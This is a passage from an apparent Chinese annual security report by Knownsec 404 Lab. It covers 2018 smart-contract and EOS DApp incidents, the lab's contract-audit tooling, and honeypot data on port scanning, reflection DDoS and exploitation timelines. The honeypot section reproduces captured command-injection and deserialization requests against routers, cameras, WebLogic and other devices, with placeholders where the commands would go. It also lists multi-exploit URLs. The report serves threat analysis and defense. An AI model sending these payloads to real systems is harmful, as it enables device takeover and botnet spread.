Fomo3d的事件直接揭漏了以太坊底层的致命问题,所有在链上对事务顺序有依赖的智能合约被瞬间推翻,当最终的结果一定被决定时,那所谓的赌博也就没有意义了。所有的类Fom3d游戏从这天之后开始走向没落…

2018年9月24日,Fomo3D第二轮结束,大奖同样被攻击者使用阻塞攻击获得,大奖骤降到了3264个以太币。2018年8月17日,类Fomo3D游戏Last Winner被黑客团队BAPT-LW20从首轮游戏中获利12948个以太币,而且在接下来的9轮开奖中,该账户共夺得4次大奖。

(图片来自于:《Fomo3D二轮大奖开出,黑客获奖,机制漏洞成游戏没落主因》)

随着该问题被曝光的同时,Fomo3D类智能合约游戏和类Fomo3D智能合约逐渐走向没落,事务依赖游戏遭到致命打击的同时,Dapp越来越多的问题也被曝光了出来。

– 2018年8月21日 Godgame 分红机制存在巨大漏洞,账户余额被攻击者瞬间洗劫一空。

– 2018年10月18日 Dice2win被公布存在选择开奖攻击、选择中止攻击、任意开奖攻击等。

再加上以太坊的出块速度越来越不能满足人们的需求,越来越多的Dapp尤其是智能合约游戏正在逐渐走出舞台…

(数据来源于: https://www.dappradar.com/rankings/protocol/ethereum/category/gambling)

截至完成本报告时,整体以太坊Dapp都处于低迷的情况下…

4.2.6 blockwell.ai小广告事件

2018年9月7日早上1点左右,许多以太坊账户都收到了一种名为blockwell.ai KYC Casper Token的转账消息,其中有的是收到了这种代币,有的是支出了这种代币。

得到的用户以为受到了新币种的空投,满心欢喜的打开之后发现并没有获得任何代币。转出的用户着急打开钱包,以为是钱包被盗转走了代币,实际上却毫无损失。回过神来看看代币的名字,忍不打开blockwell.ai查看原因,一次成功的广告诞生了。

这是为什么呢?

交易平台/各类钱包为了支持智能合约合约代币, 大部分以太坊钱包对满足ERC20标准的合约代币提供无缝接入,也就是说,如果你发行的智能合约符合ERC20标准,那么该合约代币就可以被交易平台/各类钱包承认。

而在ERC20标准中规定,如果发起交易就一定需要触发Transfer事件,而交易平台和各类钱包就是通过事件日志来获取交易信息的。

所以攻击者新建了一个名为blockwell.ai KYC Casper Token的新合约代币,然后在合约内自由的发起交易。仅仅花费约2.28美元的手续费,就可以有针对的向1000个用户发送广告。整个事件的核心在于攻击者利用了交易平台/各类钱包对符合ERC20标准的合约盲目信任,利用本身的featrue来实现最初的需求。这件事件也标志着智能合约的安全维度从最开始本身的合约安全,逐渐开始向业务安全威胁发展中。、

4.2.7 EOS Dapp安全事件频发

随着2018年以太坊智能合约的爆火,以太坊的智能合约从各个方面都经受到了挑战,除了安全问题本身,以太坊不可篡改以及去中心化也直接导致了智能合约安全周期长,安全维护难度大等问题,在一定程度上也扩大了安全事件的危害等。

EOS作为试图开启区块链3.0时代的货币,一直在试图突破一些以太坊中严重的桎梏。

(数据采样自 coinmarketcap.com 采样时间: 2018/06/07)

EOS除了大大增加了出块速度,还有一个最大的特点就是,它通过推举21个超级节点来代替去中心化,这里且不说这种方式是否合理,只是说,对于试图增加对合约控制程度的开发者来说,EOS可能更加适合,也正是因为这个原因,EOS成了最被寄予厚望的企业级区块链操作系统。

但自从2018年下半年以来,EOS的Dapp的安全事件频发,整个2018年下半年,就有超过18个EOS游戏被爆出通过假充值漏洞、重放攻击、假币攻击、回滚攻击等各种方式被攻击,损失超过39万个EOS,折算成人民币接近700万。

截至本文完成时,针对EOS Dapp的各类攻击方式仍然在不断发生中,EOS的安全仍然值得开发者更多的考量以及深思。

4.3 知道创宇以太坊合约审计CheckList & HaoTian

在见证了2018年区块链安全轨迹的过程中,以太坊智能合约安全可以说是最主要的旋律,不同于传统安全例如交易所安全、钱包安全,智能合约安全的安全问题建立在区块链新的基础平台,使用了大家不熟悉的solidity,而且由于区块链不可篡改、去中心化的特性,智能合约的安全问题本身是安全问题的较少,而诸多在传统漏洞中我们一般称之为缺陷的问题,在智能合约中同样会转变为安全问题。

在不断审计智能合约的过程中,我们逐渐把智能合约各种审计过程中遇到的问题总结成漏洞模型,并汇总为《知道创宇以太坊合约审计CheckList》。在CheckList中,我们把以太坊审计中遇到过的问题分为5大类,

– 编码规范问题

– 设计缺陷问题

– 编码安全问题

– 编码设计问题

– 编码问题隐患

其中涵盖了超过29种会在以太坊审计过程中会遇到的问题,其中为实际的代码安全问题只有4种,溢出问题、重入漏洞、call注入、重放漏洞,其余25种都是业务逻辑相关以及形式化验证相关的问题。建立在CheckList的基础上,我们开始尝试对全网智能合约做扫描分析。

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中各类问题在全网公开的智能合约代码做了扫描分析。

截至2018年12月19日为止,以太坊主链上的公开合约数量为53447,而以太坊主链上的智能合约已经超过300万。

其中,各类问题涉及到的合约数量为:

建立在HaoTian的基础上,通过对opcode的初步反编译以及对opcode的分析。404实验室共得出如下数据/结论:

截至2018.12.28为止,其中开源合约总数为53041份,经过去重,非重复合约共49256份。

以太坊主链上部署了共3079607份智能合约,其中非重复合约只有123851份。

其中一部分智能合约可能是合约的部署者测试多次部署,但还是能说明,由于solidity的刚兴起,大部分智能合约的开发者仍然停留在复用其他人的代码,这种情况下,一个漏洞就可能同时危害多个合约。

建立在所有开源合约的基础上,我们重新对所有合约做进一步分析。

在所有的53041份智能合约中,其中共使用了113635个不同的函数命名。其中前十的函数为

再进一步分析,通过获取开源合约所对应的字节码,对字节码的预处理,将其分割为函数,对函数的字节码进行对比,结合其对应的源码,对函数进行去重。(当然,也可以直接扫描源码进行统计,不过需要进行一些语法、语义分析,而实验室内部有智能合约的逆向工具,通过字节码进行对比可以避免进行语法、语义分析)。

开源合约中,共有84606不同的函数体,然后通过一定的数据聚合,对不同函数体使用频次进行排序:

通过上面的数据,我们不难发现,以太坊智能合约中,代币合约仍然占智能合约的大比重,这也证明了Dapp的货币属性是智能合约最主要的部分之一。

4.4小结

2018年是见证了区块链兴衰浮沉的一年,区块链2.0时代的到来再加上dapp的兴起,一时间风头无两。但从针对交易钱包的攻击,到以太坊兴起直接对智能合约的攻击、从对交易平台的攻击,到直接对RPC节点攻击、从普通的攻击渗透转为深入智能合约的业务逻辑,无论是传统安全领域还是新兴的智能合约/区块链实现等领域,区块链这项技术及其周边产业都在经历着安全的考量。

虽说目前绝大多数智能合约游戏目前仍然未能逃出赌博、庞氏骗局的圈子,但区块链仍然有一定的应用前景。经历过一次次的安全危机,区块链行业正在形成合理的健康的安全防御策略,智能合约也在积累安全有效的开发实践。这些都将会是未来区块链应用时不可多得的财富。

虽说2018年虚拟货币的整体价值一路下跌,但区块链技术的价值并不等同于虚拟货币的价值。区块链技术本身无法用价值衡量,但将技术应用到生活实践当中,才能脱离虚拟的货币价值,实现真正的技术价值!

 

五.2018年蜜罐捕获的数据与趋势

2017年末,知道创宇404实验室蜜罐团队开发并部署了“炼妖壶”蜜罐系统,并在2018年被动收集观测网络空间发生的一些安全事件。在对2018年数据进行统计分析思考后,我们认为可以通过单独的一个大章来详细说明目前网络空间时时刻刻都在受到威胁。

但是蜜罐数据都来自于被动接收,所以在部分事件中蜜罐可能只捕获到部分数据,因此得出的结论也可能是片面的。特别是5.1.3节 2018年反射DDOS攻击发起情况,运营商防护/攻击者的选择/蜜罐实现方法等等都会对最终的数据造成影响。在此也请读者注意:该部分的数据和结论,可能存在部分偏差。

5.1 2018年蜜罐捕获数据

5.1.1 2018年网络空间端口被扫描情况

2018年蜜罐被扫描端口统计如下,全年23,22,445,1433,5903,80,3389端口都被大量扫描。23、22端口是大部分僵尸网络的首选。由于MS17-010漏洞的存在,445端口扫描量也一直高居不下。由于MyKings僵尸网络的存在,1433端口、5903端口等也跻身十大被扫描端口的行列。相比之下,2016年造成德国断网的漏洞影响正在逐渐褪去,7547端口被扫描情况正在降低。

值得一提的是8291端口,由于今年三月份多个僵尸网络开始利用MikroTik路由器的漏洞在互联网上传播,所以从三月开始,8291端口被扫描次数逐渐升高,在六月份达到顶峰。

从端口被扫描情况了解一个通过蠕虫感染的僵尸网络/一个漏洞的生命周期,这也是体现蜜罐的价值所在。

5.1.2 2018年主动攻击

经过过滤去重筛选后,2018年蜜罐共捕获到恶意攻击流量(相同漏洞,不同攻击流量不视为同一条记录) 15294条,提取出560条非重复远程命令执行漏洞所执行的命令。

其中利用到的漏洞、典型payload如下:

payload 利用的漏洞等

2018年最早捕获时间

AA\x00\x00AAAA command *\x00 磊科后门

2018-01-01

CNXN\x00\x00\x00\x01\x00\x00\x04\x00\x1b\x00\x00\x00M\n\x00\x00\xbc\xb1\xa7\xb1host::features=cmd,shell_v2OPEN\r\x01\x00\x00\x00\x00\x00\x00p\x00\x00\x00.”\x00\x00\xb0\xaf\xba\xb1shell,v2,TERM=xterm-256color:command 利用ADB接口传播

2018-11-20

GET /shell?%75%6E%61%6D%65%20%2D%61 HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Accept-Language: zh-cn

Referer: http://172.96.208.195:60001/shell?%75%6E%61%6D%65%20%2D%61

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 172.96.208.195:60001

摄像头的远程命令执行漏洞

2018-01-14

POST /picsdesc.xml HTTP/1.1

POST /wanipcn.xml HTTP/1.1

Host: 172.96.208.195:52869

Content-Length: 639

Accept-Encoding: gzip, deflate

SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping

Accept: */*

User-Agent: python-requests/2.4.3 CPython/2.7.9 Linux/3.16.0-4-amd64

Connection: keep-alive

 

<?xml version=”1.0″ ?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:AddPortMapping xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`command`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

CVE-2014-8361

2018-01-01

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1

Host: xxx.xxx.xxx.xxx:7001

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

Content-Length: 538

Content-Type: text/xml

Accept-Encoding: gzip

Connection: close

 

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header> <work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/”> <java> <void class=”java.lang.ProcessBuilder”> <array class=”java.lang.String” length=”3″> <void index=”0″> <string>/bin/bash</string> </void> <void index=”1″> <string>-c</string> </void> <void index=”2″> <string>command</string> </void> </array> <void method=”start”/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

CVE-2017-10271:weblogic ‘wls-wsat’ XMLDecoder 反序列化漏洞

2018-01-03

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Host: 172.96.208.195:37215

User-Agent: Hello-World

Content-Length: 430

Connection: keep-alive

Accept: */*

Accept-Encoding: gzip, deflate

Authorization: Digest username=”dslf-config”, realm=”HuaweiHomeGateway”, nonce=”88645cefb1f9ede0e336e3569d75ee30″, uri=”/ctrlt/DeviceUpgrade_1″, response=”3612f843a42db38f48f59d2a3597e19c”, algorithm=”MD5″, qop=”auth”, nc=00000001, cnonce=”248d1a2560100669″

 

<?xml version=”1.0″ ?>

<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>

<s:Body><u:Upgrade xmlns:u=”urn:schemas-upnp-org:service:WANPPPConnection:1″>

<NewStatusURL>$(command)</NewStatusURL>

<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>

</u:Upgrade>

</s:Body>

</s:Envelope>

CVE-2017-17215:华为HG532远程命令执行漏洞

2018-01-01

POST /tmUnblock.cgi HTTP/1.1

Host: 192.168.0.14:80

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.20.0

Content-Length: 227

Content-Type: application/x-www-form-urlencoded

 

ttcp_ip=-h+%60command%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Linksys 远程命令执行漏洞(CNVD-2014-01260)

2018-11-07

POST /GponForm/diag_Form?images/ HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Hello, World

Content-Length: 118

 

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=“;command&ipv=0

CVE-2018-10562:GPON Home Gateway 远程命令执行漏洞

2018-05-10

POST /HNAP1/ HTTP/1.0

Content-Type: text/xml; charset=”utf-8″

SOAPAction: http://purenetworks.com/HNAP1/`command`

Content-Length: 640

 

<?xml version=”1.0″ encoding=”utf-8″?><soap:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/”><soap:Body><AddPortMapping xmlns=”http://purenetworks.com/HNAP1/”><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

CVE-2015-2051 :Dlink路由器远程命令执行漏洞

2018-08-20

POST /UD/act?1 HTTP/1.1

Host: 127.0.0.1:7547

User-Agent: Gemini/2.0

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

Content-Type: text/xml

Content-Length: 526

<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>   <NewNTPServer1>`command`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

Eir D1000 远程命令执行漏洞

2018-07-28

GET /login.cgi?cli=;command $ HTTP/1.1

Host: 127.0.0.1

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Hello, World

D-Link DSL-2750B系统命令注入

2018-06-15

GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(command)&password=admin HTTP/1.1

User-Agent: Dark

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

AVTECH远程命令执行漏洞

2018-11-05

(注:相关漏洞详情可以访问https://www.seebug.org 搜索CVE编号,没有CVE编号的漏洞详情可以从本报告参考链接7中寻找)

5.1.3 2018年反射DDOS攻击发起情况

2018年对外放置了主流反射 DDOS 的蜜罐,由于运营商等多方面因素影响,最终我们能日常稳定获取到五种反射DDOS攻击被利用的数据。

1. dns

2. ssdp

3. tftp

4. ntp

5. snmp

其中 DNS 反射放大攻击和SSDP反射放大攻击蜜罐监测到被利用的主力,剩下三种反射放大攻击被利用次数较少。

根据已有的数据,假定DNS、TFTP、SSDP、NTP、SNMP的反射放大倍数分别为:13,46.5,22,422,18,单个请求使用的流量大小是:43bytes,13bytes,82bytes,8bytes,40bytes,则反射放大攻击产生的流量堆叠图如下所示:

随着虚拟货币价格的升高、多国管控、运营商防御等因素影响,2018年上半年网络空间反射放大攻击利用次数呈现下降趋势,反射放大攻击方式也由 DNS 反射放大为主转变为 SSDP 反射放大攻击为主。

2018年下半年,虚拟货币的不断崩盘导致部分黑产从业者将重心重新移回DDOS行业,9月开始DDOS反射放大攻击被利用次数逐渐提高。

5.2 2018年互联网漏洞利用趋势

从2016年Mirai僵尸网络源码公开以来,网络空间安全形势愈加严峻。相较于传统僵尸网络,部分2018年新兴的僵尸网络继承了传统僵尸网络蠕虫式传播等特点,并且实现了更快的1day利用。相比2017年4月份,Goahead漏洞从出现到被利用大约使用了一个月的时间,而2018年4月份出现的GPON路由器漏洞在十天时间内就已经被多个僵尸网络利用。根据蜜罐的数据,在404实验室今年应急的127个漏洞中,被僵尸网络利用的物联网设备漏洞有两个:

漏洞名称 漏洞公开时间 蜜罐最早捕获时间 漏洞公开到被利用时间间隔
Master IP CAM 01 Multiple Vulnerabilities 2018-01-17 2018-08-27 222天
GPON Home Gateway 远程命令执行漏洞 2018-04-30 2018-05-10 10天

由于2018年上半年区块链行业的火爆,高性能服务器成为了网络黑产的主要目标之一。各种能够远程命令/代码执行的漏洞也成为了攻击者的目标之一。部分僵尸网络家族也集成了这种能力。根据我们捕获到的部分数据,以下今年曝光的WEB漏洞也受到了挖矿人员的青睐。

漏洞名称 漏洞公开时间 最早捕获时间 漏洞公开到被利用时间间隔
Drupalgeddon(CVE-2018-7600) 2018-03-28 官方发布补丁,2018-4-13 安全研究人员公布详情 2018-04-15 2天
Weblogic远程文件上传漏洞(CVE-2018-2894) 2018-07-18 Oracle发布7月份安全补丁 2018-07-23 5天
ECShop 远程命令执行漏洞 2018-08-31,安全研究人员公开详情 2018-06-13(数据来源:知道创宇云安全) -79天
Weblogic 反序列化远程命令执行漏洞(CVE-2018-3252) 2018-10-17 Oracle发布11月份安全补丁 2018-11-16 30天
Thinkphp5远程命令执行漏洞 2018-12-10 官方发布更新公告 2018-09-03(数据来源:知道创宇云安全) -98天

(注:相关漏洞详情可以访问https://www.seebug.org 搜索CVE编号,没有CVE编号的漏洞详情可以从本报告参考链接7中寻找)

值得一提的是 Thinkphp5 远程命令执行漏洞,在官方发布更新前,知道创宇云安全的日志中共检测到62次漏洞利用请求。时间跨度从官方发布更新的三个月前(2018年9月3日)到2018年12月9日。多个虚拟币类网站和多个投资金融类网站成为了该漏洞0day阶段的攻击目标。攻防对抗的升级提高了漏洞的修复效率,也让攻击者更倾向于实现0day漏洞的价值最大化。

另一个类似的案例是Ecshop远程命令执行漏洞,在0day曝光前(2018年8月31日前),该0day多被用于小范围的定点攻击,而在0day曝光后,迅速被攻击者利用。具体细节读者可以参考《ECShop 0day 的堕落之路》。下图是该漏洞被利用情况统计(数据来源:知道创宇云安全):

由上述两个实际案例可以看出:攻防对抗的升级让更多优质漏洞在0day阶段就被使用者创造价值,这也让暗网和区块链相关的主要虚拟货币在未来仍有一定的生存空间。

在官方发布安全更新的8天时间内(2018年12月10日-2018年12月17日),该漏洞被广泛利用,共有5570个IP对486962个网站发起2566078次攻击。

除了以上漏洞以外,蜜罐还观察到部分漏洞被攻击者糅合在一个请求中,以达到一次攻击可以感染多个类型设备的目的:

GET /cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%20%3B%20command%20 HTTP/1.0

 

GET /login.cgi?cli=aa%20aa%27;command%27$ HTTP/1.1

 

GET /cgi-bin/cgi_system?cmd=raid_setup&act=getsmartinfo&devname=|ping%20-n%200%20localhost&rand=1452765315144;command HTTP/1.0

 

GET /maker/snwrite.cgi?mac=1234;command HTTP/1.0

 

GET /wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://localhost/1.jpg$(command) HTTP/1.0

 

E:!

相较于往年,漏洞利用的多样化、飞速化是2018年网络空间漏洞利用的新趋势。毫无疑问,攻防对抗已经进入了白热化的阶段了。

 

六.结语

在当今的时代,网络空间战争是多级别、多角度的对抗,被攻击方式的不可预知性往往让防御方处于一个滞后的位置。 2018年更多漏洞的爆发、新兴安全领域区块链的到来、网络空间设备飞速增长带来的隐患、网络空间漏洞被更快更多地利用对滞后的网络防御带来了更大的威胁。

感谢2018年404实验室每一个小伙伴的努力与付出,持续一年的努力充实了这份报告的内容。

希望这份报告中的数据可以为读者带来一份新意,也希望我们在2019年能够做得更好。谢谢。

 

七.参考链接

[1] ZoomEye 网络空间搜索引擎

https://www.zoomeye.org/

[2] Seebug漏洞平台

https://www.seebug.org

[3] GPON Home Gateway 远程命令执行漏洞被利用情况

https://paper.seebug.org/595/

[4] 2018上半年暗网研究报告

https://paper.seebug.org/686/

[5] Thinkphp5 远程代码执行漏洞事件分析报告

https://paper.seebug.org/770/

[6] ZoomEye Dork

https://www.zoomeye.org/searchResult/report?q=after%3A%222018-01-01%22&t=host

https://www.zoomeye.org/searchResult?q=device%3A%22router%22%20%2Bafter:%222018-01-01%22%20%2Bbefore:%222019-01-01%22&t=all

https://www.zoomeye.org/searchResult?q=device%3A%22webcam%22%20%2Bafter:%222018-01-01%22%20%2Bbefore:%222019-01-01%22&t=all

https://www.zoomeye.org/searchResult?q=device%3A%22printer%22%20%2Bafter:%222018-01-01%22%20%2Bbefore:%222019-01-01%22&t=all

https://www.zoomeye.org/searchResult?q=app%3A%22nas%22%20%2Bafter%3A%222018-01-01%22%20%2Bbefore%3A%222019-01-01%22

[7] Seebug 收录的相关漏洞详情

https://www.seebug.org/vuldb/ssvid-90227

https://www.seebug.org/vuldb/ssvid-90754

https://www.seebug.org/vuldb/ssvid-97024

https://www.seebug.org/vuldb/ssvid-97595

https://www.seebug.org/vuldb/ssvid-92493

https://www.seebug.org/vuldb/ssvid-97343

https://www.seebug.org/vuldb/ssvid-97715

[8] ECShop 0day 的堕落之路

https://paper.seebug.org/695/

[9] 慢雾社区关于利用JSON-RPC自动化盗币事件的报告

https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg

[10] 启明星辰ADLab关于薅羊毛事件的报告

https://mp.weixin.qq.com/s/R6L1BpEoUvcjsl-uQqM0Tg

[11] 安比实验室关于Fomo3D游戏事件的报告

https://zhuanlan.zhihu.com/p/45330743

[12] BTC/ETH/EOS对比图数据采样来源

https://coinmarketcap.com/

[13] 活跃dapp列表截图来源

https://www.dappradar.com/rankings/protocol/ethereum/category/gambling

(完)